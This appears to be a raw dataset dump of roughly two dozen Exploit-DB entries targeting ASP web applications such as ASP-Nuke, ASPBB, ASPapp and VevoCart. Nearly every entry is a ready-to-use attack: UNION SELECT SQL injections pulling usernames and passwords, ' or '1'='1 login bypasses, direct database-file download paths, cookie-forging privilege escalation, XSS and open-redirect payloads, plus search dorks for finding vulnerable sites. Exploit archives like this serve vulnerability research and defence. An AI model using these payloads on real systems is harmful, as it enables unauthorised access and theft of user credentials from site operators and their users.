deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11134
Description: Asp VevoCart Control System 3.0.4 - Database Disclosure
Type: webapps
Platform: asp
Date: 2010-01-13
Author: indoushka

Exploit:
========================================================================================
| # Title    : Asp VevoCart Control System Version 3.0.4 DB Download Vulnerability
| # Author   : indoushka
| # email    : indoushka@hotmail.com
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)
| # Web Site : www.iq-ty.com
| # Dork     : VevoCart Control System
| # Script   : (VevoCart Control System
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) IIS 5.0
| # Bug      : DB
======================      Exploit By indoushka       =================================
 # Exploit  :

 1- http://127.0.0.1/VevoCart/App_Data/vevocart.mdb

================================   Dz-Ghost Team   ===================================================
Greetz : Exploit-db Team (loneferret+Exploits+dookie2000ca)
all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 * www.hackteach.org
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * www.cyber-mirror.org
www.albasrah-forums.com * www.amman-dj.com * www.forums.ibb7.com * www.maker-sat.com * www.owned-m.com
www.vb.7lanet.com * www.3kalam.com * Stake (v4-team.com) * www.3kalam.com * www.dev-chat.com
www.al7ra.com * Cyb3r IntRue (avengers team) * www.securityreason.com * www.packetstormsecurity.org
www.sazcart.com * www.best-sec.net * www.app.feeddigest.com * www.forum.brg8.com * www.zone-h.net
www.m-y.cc * www.hacker.ps * no-exploit.com * www.bug-blog.de * www.gem-flash.com * www.soqor.org
www.h4ckf0ru.com * www.bawassil.com * www.host4ll.com * www.hacker-top.com * www.xp10.me
www.forums.soqor.net * www.alkrsan.net * blackc0der (www.forum.aria-security.com)
SoldierOfAllah (www.m4r0c-s3curity.cc)www.arhack.net * www.google.com * www.np-alm7bh.com
www.lyloo59.skyrock.com * www.sec-eviles.com * www.snakespc.com * www.kadmiwe.net * www.syrcafe.com
www.mriraq.com * www.dzh4cker.l9l.org * www.goyelang.cn * www.h-t.cc * www.arabic-m.com * www.74ck3r.com
r1z (www.sec-r1z.com) * omanroot.com * www.bdr130.net * www.zac003.persiangig.ir * www.0xblackhat.ir
www.mormoroth.net * www.securitywall.org * www.sec-code.com *
--------------------------------------------------------------------------------------------------------
Exploit-DB #7429
Description: ASP-CMS 1.0 - 'cha' SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-12
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                        ASP-CMS v.1.0 Sql Injection                          ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi       #
#####################################################################################
#                                                                                   #
#Download : http://puzzle.dl.sourceforge.net/sourceforge/asp-cms/asp-cms.18-12-04.zip
#                                                                                   #
#DORK : :(                                                                          #
#                                                                                   #
#####################################################################################
#                                 [Sql Injection]                                   #
#                                                                                   #
#Username : http://Site/[path]/index.asp?cha=-999%20union%20select%200,1,user_username,3,4,5,6,7,8,9,10%20from%20CMS_USERS
#                                                                                   #
#Password : http://Site/[path]/index.asp?cha=-999%20union%20select%200,1,user_password,3,4,5,6,7,8,9,10%20from%20CMS_USERS
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-12-12]
Exploit-DB #22895
Description: ASP-DEV Discussion Forum 2.0 - Admin Directory Weak Default Permissions
Type: webapps
Platform: asp
Date: 2003-07-13
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8172/info

It has been reported that a vulnerability exists in ASP-DEV Discussion Forum that exposes potentially sensitive information. Because of this, an attacker may be able to gain access to user credentials.

User credentials are stored in the sub-directory as follows:

http://www.example.com/forum/admin/
Exploit-DB #7447
Description: ASP-DEV Internal E-Mail System - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-12-14
Author: Pouya_Server

Exploit:
#########################################################
---------------------------------------------------------
Portal Name: Internal E-Mail System
Vendor : http://asp-dev.com/main.asp?page=41
Download : http://asp-dev.com/download.asp?did=4
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------
#########################################################
[Auth Bypass]:
user: ' or '1'='1
pass: ' or '1'='1
 
---------------------------------
Victem :
http://asp-dev.com/message

# milw0rm.com [2008-12-14]
Exploit-DB #32658
Description: ASP-DEV XM Events Diary - 'cat' SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-13
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32809/info

ASP-DEV XM Events Diary is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[path]/default.asp?cat=[SQL]
Exploit-DB #26820
Description: ASP-DEV XM Forum - 'forum.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-14
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/15858/info

XM Forum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/forum.asp?forum_id=3&forum_title=[XSS]
Exploit-DB #25324
Description: ASP-DEV XM Forum RC3 - IMG Tag Script Injection
Type: webapps
Platform: asp
Date: 2005-03-31
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/12958/info

XM Forum is reported prone to a script injection vulnerability.

An attacker can supply arbitrary HTML and script code through the BBCode IMG tag to trigger this issue and execute arbitrary script code in a user's browser.

XM Forum RC3 is reported vulnerable. It is possible that other versions are affected as well. 

[IMG]javasc+ript:alert(document.cookie)[/IMG]
Exploit-DB #23516
Description: ASP-Nuke 1.0/1.2/1.3 - Remote User Database Access
Type: webapps
Platform: asp
Date: 2004-01-04
Author: Vietnamese Security Group

Exploit:
source: https://www.securityfocus.com/bid/9355/info

A problem has been identified in ASP-Nuke when user credentials are stored on a system. Because of this, an attacker may be able to gain unauthorized access to sensitive information.

http://www.example.com/db/main.mdb
Exploit-DB #32580
Description: ASP-Nuke 2.0.7 - 'gotourl.asp' Open Redirect
Type: webapps
Platform: asp
Date: 2014-03-29
Author: felipe andrian

Exploit:
[+] ASP-Nuke 2.0.7 - Open Redirect Vulnerability in gotourl
[+] Date: 28/03/2014
[+] Risk: Low
[+] Remote: Yes
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://www.aspnuke.it/
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: gotourl.asp
[+] Version: ASP-Nuke 2.0.7
[+] Exploit : http://host/gotoURL.asp?url=[ Open Redirect Vul ]&id=43569 

Note : An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. 
This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.
Reference :https://www.owasp.org/index.php/Open_redirect
Exploit-DB #2849
Description: ASP-Nuke Community 1.5 - Cookie Privilege Escalation
Type: webapps
Platform: asp
Date: 2006-11-25
Author: ajann

Exploit:
**************************************************************************************************
# Title  :  ASP-Nuke Community <= v1.5 Cookie Modification Privilege Escalation Vulnerability
# Author :  ajann
# S.Page :  http://www.rot.dk
# D.Page :  http://www.rot.dk/aspnuke/downloads.asp
# Greetz :  Nukedx
**************************************************************************************************

 Cookie
----------

Open the Cookie Editor=>
Find cookie informations.
Change Informations=

Cookie Informations:

ASPNUKE14%5Fpseudoname , pseudoname => "Welcome *USERNAME*" see for
ASPNUKE14%5Fpseudo     , pseudo     =>  Login UserName
ASPNUKE14%5Fpseudoid   , pseudoid   =>  UserId
ASPNUKE14%5Femail      , email      =>  User Email

Save and go to default.asp.


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-25]
Exploit-DB #7850
Description: asp-project 1.0 - Insecure Cookie Method
Type: webapps
Platform: asp
Date: 2009-01-22
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                        Asp-project Cookie Handling                          ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://www.sourceforge.net/projects/asp-project                         #
#                                                                                   #
#Dork : :(                                                                          #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#javascript:document.cookie = "crypt=1; path=/";                                    #
#                                                                                   #
###################################### TNX GOD ######################################

# milw0rm.com [2009-01-22]
Exploit-DB #24840
Description: ASP-Rider - SQL Injection
Type: webapps
Platform: asp
Date: 2004-12-14
Author: Shervin Khaleghjou

Exploit:
source: https://www.securityfocus.com/bid/11933/info

A remote SQL injection vulnerability reportedly affects ASP-Rider Web blog. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in SQL queries.

An attacker may exploit this issue to manipulate SQL queries to the underlying database. This may facilitate theft sensitive information, potentially including authentication credentials, and data corruption.

http://www.example.com/weblog/blogadmin/verify.asp?username='union select 1,1,1,1,1,1,1,1 from tbl_users where ''='&password=1
Exploit-DB #44739
Description: ASP.NET jVideo Kit - 'query' SQL Injection
Type: webapps
Platform: asp
Date: 2018-05-24
Author: AkkuS

Exploit:
# Exploit Title: ASP.NET jVideo Kit - 'query' SQL Injection
# Dork: N/A
# Date: 23.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: MediaSoft Pro
# Vendor Homepage: https://www.mediasoftpro.com/video-sharing-script/mvc/
# Version: v1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'query' parameter. You can use the GET or POST
methods.
====================================================

# PoC : SQLi :

# GET : http://test.com/search?query=[SQL]
# POST : http://test.com/search
POST /search HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/login
Cookie: ASP.NET_SessionId=wxim4xkwgxvhtu5k3pvevc3o;
__RequestVerificationToken=iuu_Y6Xm3aOzaKj3EfCyE_-eT-Ff_lRdBMBZzyFRszSTGdNcaY2w5pH7ck0WZ2egIX3R18UlpXkr8pe_kxw6Ic2g1M-Cmz4woLsU6RRMV3M1

Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Query=test


# Vulnerable Payload :

Parameter: query (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: query=test%' AND 3923=3923 AND '%'='

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING
clause (IN)
    Payload: query=test%' AND 1603 IN (SELECT
(CHAR(113)+CHAR(107)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN
(1603=1603) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113))) AND '%'='


====================================================
Exploit-DB #5276
Description: ASPapp Knowledge Base - 'CatId' SQL Injection (1)
Type: webapps
Platform: asp
Date: 2008-03-19
Author: xcorpitx

Exploit:
..##.....##     
...##...##      
....##.##
.....###CoRPITX 
.....###     
....##.##
...##...##
..##.....##

-----------------Turkey--------------------------------------
                                               
--------- www.Hayalet-hack.com-------------------------------

----------www.xcorpitx-hack.com------------------------------
Iatek | ASPapp -links.asp (CatId) SQL Injection Vulnerability 
-------------------------------------------------
 you ll see lots of users like this but  accesslevel ll help you for see admin
-------------------------------------------------------------
----------------example--------------------------------------

Links Гўв‚¬Вє guest  Гўв‚¬Вє  12    Гўв‚¬Вє 1     user
Links Гўв‚¬Вє editor Гўв‚¬Вє editor Гўв‚¬Вє 2     materator
Links Гўв‚¬Вє managerГўв‚¬Вє managerГўв‚¬Вє 2     materator
Links Гўв‚¬Вє surco  Гўв‚¬Вє surco  Гўв‚¬Вє 2     materator
Links Гўв‚¬Вє admin  Гўв‚¬Вє admin  Гўв‚¬Вє 3     admin
Links Гўв‚¬Вє ovivas Гўв‚¬Вє ovivas Гўв‚¬Вє 4     super-admin----- we  ll login with this username
-------------------------------------------------------------

-------------------------------------------------------------
i mean.. when you see  big number  4 or 5  you can  use this username and password
-------------------------------------------------------------

-------
dork   -  ''links.asp?CatId''
-------
exploit-
-------
admin login- 
-------
www.xxx.com/path/login.asp?ret_page=%2Fzmicer%2Fweb%2Fadmin%2Easp%3F
-------
-------------------------------------------------------------
links.asp?CatId=-99999%20UNION%20SELECT%20null,accesslevel,null,null,user_name,%205%20,password,null%20FROM%20Users
-------------------------------------------------------------

thanx- str0ke-D3ng3siz-pc faresi-s@bun-Hayalet-Turque-

# milw0rm.com [2008-03-19]
Exploit-DB #5286
Description: ASPapp Knowledge Base - SQL Injection
Type: webapps
Platform: asp
Date: 2008-03-20
Author: xcorpitx

Exploit:
..##.....##     
...##...##      
....##.##
.....###CoRPITX 
.....###     
....##.##
...##...##
..##.....##

-------------------------Turkey------------------------------
                                               
-----------------www.Hayalet-hack.com------------------------

-----------------www.xcorpitx-hack.com-----------------------

ASPapp KnowledgeBase (content_by_cat.asp?catid) SQL Injection Vulnerability 
-------------------------------------------------------------

-------
Dork 1 -  content_by_cat.asp?contentid ''catid'' 

Dork 2 -  content_by_cat.asp? ''catid''  
-------
exploit-
-------

-------------------------------------------------------------
content_by_cat.asp?contentid=99999999&catid=-99887766+UNION+SELECT+0,null,password,3,accesslevel,5,null,7,null,user_name+from+users
-------------------------------------------------------------

-------------------------------------------------------------
content_by_cat.asp?contentid=-99999999&catid=-99887766+union+select+0,null,password,3,accesslevel,5,null,7,8,user_name+from+users
-------------------------------------------------------------

thanx- str0ke-D3ng3siz-pc faresi-s@bun-Hayalet-Turque-

# milw0rm.com [2008-03-20]
Exploit-DB #23515
Description: ASPApp PortalApp - Remote User Database Access
Type: webapps
Platform: asp
Date: 2004-01-04
Author: newbie6290

Exploit:
source: https://www.securityfocus.com/bid/9354/info

A problem has been identified in ASPapp PortalApp when user credentials are stored on a system. Because of this, an attacker may be able to gain unauthorized access to sensitive information.

http://www.example.com/APP Portall/data/8275.mdb
Exploit-DB #10772
Description: AspBB - Active Server Page Bulletin Board Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : [ AspBB ] - Active Server Page Bulletin Board DB Download Vulnerability |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : [ AspBB ] - Active Server Page Bulletin Board                           |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/AspBB/db/betaboard.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #26822
Description: ASPBB 0.4 - 'forum.asp?FORUM_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-14
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/15859/info
 
ASPBB is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspbb/forum.asp?FORUM_ID=[sql injection]
Exploit-DB #26823
Description: ASPBB 0.4 - 'profile.asp?PROFILE_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-14
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/15859/info
  
ASPBB is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspbb/profile.asp/PROFILE_ID=[sql injection]
Exploit-DB #26821
Description: ASPBB 0.4 - 'topic.asp?TID' SQL Injection
Type: webapps
Platform: asp
Date: 2005-12-14
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/15859/info

ASPBB is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/aspbb/topic.asp?TID=[sql injection]
http://www.example.com/aspbb/topic.asp?COMMAND=GOTOLAST&TID=[sql injection]
Exploit-DB #27896
Description: ASPBB 0.5.2 - 'default.asp?action' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-05-18
Author: TeufeL

Exploit:
source: https://www.securityfocus.com/bid/18025/info

ASPBB is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/default.asp?action="><script>alert('Xss Vulnerability');</script>
Exploit-DB #27918
Description: ASPBB 0.5.2 - 'Perform_search.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-05-29
Author: Mustafa Can Bjorn

Exploit:
source: https://www.securityfocus.com/bid/18146/info

ASPBB is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects ASPBB 0.5.2; other versions may also be vulnerable.

http://www.example.com/perform_search.asp?order1=1&order2=1&search="><script>alert(String.fromCharCode(34,115,115,34));</script>1